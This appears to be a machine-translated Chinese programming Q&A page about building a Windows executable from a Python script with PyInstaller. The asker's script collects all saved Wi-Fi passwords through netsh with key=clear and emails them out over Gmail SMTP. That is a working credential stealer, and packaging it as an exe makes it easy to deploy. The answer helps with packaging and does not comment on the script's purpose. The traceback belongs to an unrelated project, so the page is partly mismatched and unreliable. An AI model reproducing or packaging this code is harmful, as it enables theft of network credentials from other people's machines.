如何使python脚本可执行

时间:2020-05-26 07:22:29

标签: python exe pyinstaller

我正在尝试制作一个简单的python可执行文件。
我在python 3和python 2.7上进行了尝试,下载了winpy32,在Linux和Windows上进行了尝试,尝试了py-to-exe和pyinstaller。而且我仍然收到此错误:

raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error:

这是我的代码:

import subprocess
import smtplib
from smtplib import *
import re

command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())

final_output = ""
for network in network_list:
    command2 = "netsh wlan show profile " + network + " key=clear"
    a_network_result = subprocess.check_output(command2, shell=True)
    final_output += a_network_result.decode()

final_output = str(final_output)


fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output

msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )

username = str('MyEmail')
password = str('MyPasswd')

#try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(username, password)
server.sendmail(fromMy, to, msg)
server.quit()

这是完整的跟踪信息=

79702 DEBUG: Analyzing .git\objects\78\e83411cea88cd038acb12c005a984fc0d6d423
Traceback (most recent call last):
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 35, in pywin32error
    yield
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
    return _dll._LoadLibraryEx(fileName, 0, flags)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\core\ctypes\_util.py", line 42, in check_null
    raise make_error(function, function_name)
OSError: [WinError 2] The system cannot find the file specified.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:/Users/User1/Dropbox/GitHub_Repos/DiabetesReportGenerator_v2/pyinstaller_freeze.py", line 37, in <module>
    'MainWindow.py'
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 112, in run
    run_build(pyi_config, spec_file, **vars(args))
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\__main__.py", line 63, in run_build
    PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 732, in main
    build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 679, in build
    exec(code, spec_namespace)
  File "C:\Users\User1\Dropbox\GitHub_Repos\DiabetesReportGenerator_v2\Risk Calculator.spec", line 17, in <module>
    noarchive=False)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 242, in __init__
    self.__postinit__()
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\datastruct.py", line 158, in __postinit__
    self.assemble()
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\building\build_main.py", line 468, in assemble
    redirects=self.binding_redirects))
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 226, in Dependencies
    for ftocnm, fn in getAssemblyFiles(pth, manifest, redirects):
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 402, in getAssemblyFiles
    for assembly in getAssemblies(pth):
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\depend\bindepend.py", line 353, in getAssemblies
    res = GetManifestResources(pth)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winmanifest.py", line 1005, in GetManifestResources
    return winresource.GetResources(filename, [RT_MANIFEST], names, languages)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\PyInstaller\utils\win32\winresource.py", line 168, in GetResources
    hsrc = win32api.LoadLibraryEx(filename, 0, LOAD_LIBRARY_AS_DATAFILE)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\win32api.py", line 43, in LoadLibraryEx
    return _dll._LoadLibraryEx(fileName, 0, flags)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\contextlib.py", line 130, in __exit__
    self.gen.throw(type, value, traceback)
  File "C:\Users\User1\Anaconda3\envs\ids_gui\lib\site-packages\win32ctypes\pywin32\pywintypes.py", line 37, in pywin32error
    raise error(exception.winerror, exception.function, exception.strerror)
win32ctypes.pywin32.pywintypes.error: (2, 'LoadLibraryExW', 'The system cannot find the file specified.')

我的操作系统可能有什么问题吗? 欢迎任何帮助:)

1 个答案:

答案 0 :(得分:0)

您的代码有一些不相关的问题。我做了些改动,pyinstaller可以正常工作

import subprocess
import smtplib
#from smtplib import *  Here you try to import smtplib again
#import re

# Not needed for this example
    # command1 = "netsh wlan show profile"
    # networks = subprocess.check_output(command1, shell=True)
    # network_list = re.findall('(?:Profile\s*:\s)(.*)', networks.decode())
    #
    # final_output = ""
    # for network in network_list:
    #     command2 = "netsh wlan show profile " + network + " key=clear"
    #     a_network_result = subprocess.check_output(command2, shell=True)
    #     final_output += a_network_result.decode()
#
final_output = 'cmd output' # Simulate the cmd output you want emailed


fromMy = 'myemail'
to = 'myEmail'
subj = 'TheSubject'
date = '23/5/2020'
message_text = final_output

msg = r"From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text )

# Use regular strings in the variables python implicitly types them
username = 'MyEmail'
password = 'MyPasswd'

try: # Will always fail without real credentials   
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(username, password)
    server.sendmail(fromMy, to, msg)
    server.quit()

except smtplib.SMTPAuthenticationError:
    print("The username or password were incorrect")

在Windows python 3.7和3.8下都为我工作

复制我的代码,然后运行pyinstaller <script name>.py,看看是否再次出现相同的错误。

注释:您需要从终端上的<script name>.exe路径而不是dist\<script name>

运行build\<script name>

修改

其他故障排除步骤:

  • the python site而不是Microsoft商店尝试python
  • 尝试其他环境(如果您使用venv或virtualenv,请尝试系统解释器)
  • 调试脚本并确保可以由python运行,然后再尝试将其与pyinstaller打包